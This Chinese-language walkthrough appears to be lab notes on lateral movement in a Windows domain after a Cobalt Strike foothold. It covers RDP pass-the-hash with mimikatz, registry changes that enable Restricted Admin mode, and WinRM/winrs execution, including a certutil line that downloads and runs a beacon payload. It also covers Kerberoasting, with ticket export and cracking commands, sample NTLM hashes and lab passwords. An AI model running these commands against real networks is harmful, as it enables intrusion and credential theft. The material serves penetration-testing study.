0x00 准备
环境:god.org
cs上线 win2008web
提权利用ms14-058
抓取hash和明文密码(当获取到其他主机就重复提权和抓取密码)
扫描存活主机,扫描端口
代理转发-转发上线,生成反向连接木马,绑定监听器,上传至web根目录(方便其他主机下载执行后门)
开启socks代理
配置全局代理工具(注意代理服务器是cs服务端ip,而不是cs上线主机ip)
0x01横向移动rdp
rdp可以明文也可以hash连接
不出网机器连接rdp方式:
- 直接进行vnc桌面交互再去利用mstsc连接其他主机
- 开启socks代理,mstsc连接
- 端口转发,建立隧道,将端口转发出来
1.探测服务是否开启
在cs中主要执行的命令前面要加shell
命令:
tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
注册表查询:
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
端口探测:
cs内置端口扫描3389
2.crackmapexec
可以使用此工具探测hash和密码与用户民匹配是否正确
3.利用:
(1)明文连接
cmd
mstsc /console /v:192.168.3.32 /admin
或使用直接使用mstsc图形化工具连接
(2)使用mimikatz进行hash连接:
使用mimikatz会在windows中弹出一个窗口,输入ip,会默认使用这个hash
进行登录
利用条件:
需要计算机开启Restricted Admin Mode,都需要开启即进行横向移动的主机(要攻击的主机)和受控主机(cs上线)
win8和win2012 默认开启
如何开启
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭
对应命令行开启的命令如下:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
hash连接
本地用户
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
域用户
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:god/administrator /domain:god /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
注意有些计算机可能不支持restrictedadmin,弹出以下窗口
成功:
0x02 横向移动winrm&winrs
winrm代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。winrs是一种客户端
利用条件:
双方都启用winrm rs的服务,不支持hash
使用此服务需要管理员级别凭据
Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。
如何开启
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
1.探测服务开启状态
powershell探测
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
端口扫描
cs内置端口扫描5985
2.利用:
(1)winrs命令
执行命令
域用户
winrs -r:192.168.3.32 -u:god\administrator -p:admin!@#45 whoami
本地用户:
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami
上线cs
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe beacon.exe && beacon.exe"
(2)cs内置插件
winrm
视图-目录列表-选中要进行攻击的主机-横向移动-选中winrm-填入用户名和密码-选择监听器-选则会话-运行
成功:
0x03 横向移动 spn&kerberos
环境:
0day.org
主要利用的就是破解票据里的密码,当pth,ptt用不了时,可以考虑kerberos攻击
Kerberos利用条件:
采用rc4加密类型票据
工具
Rubeus 检测票据加密方式
kerberoast-master 破解票据
spn是一种探测域中有些服务的协议
1.检测可以用的服务
命令检测,或者不加powershell
powershell setspn -T 0day.org -q */*
powershell setspn -T 0day.org -q */* | findstr "MSSQL"
工具检测直接找出可利用的服务
Rubeus kerberoast
2.利用:
清空票据
kilst purge
请求:(要产生票据文件),选一个服务,查看是否是rc4加密
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
或mimakatz请求
mimikatz kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
导出:
mimikatz kerberos::list /export
破解:
python tgsrepcrack.py pass.txt "1-40a00000-Administrator@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"
参考文章:
resticted admin mode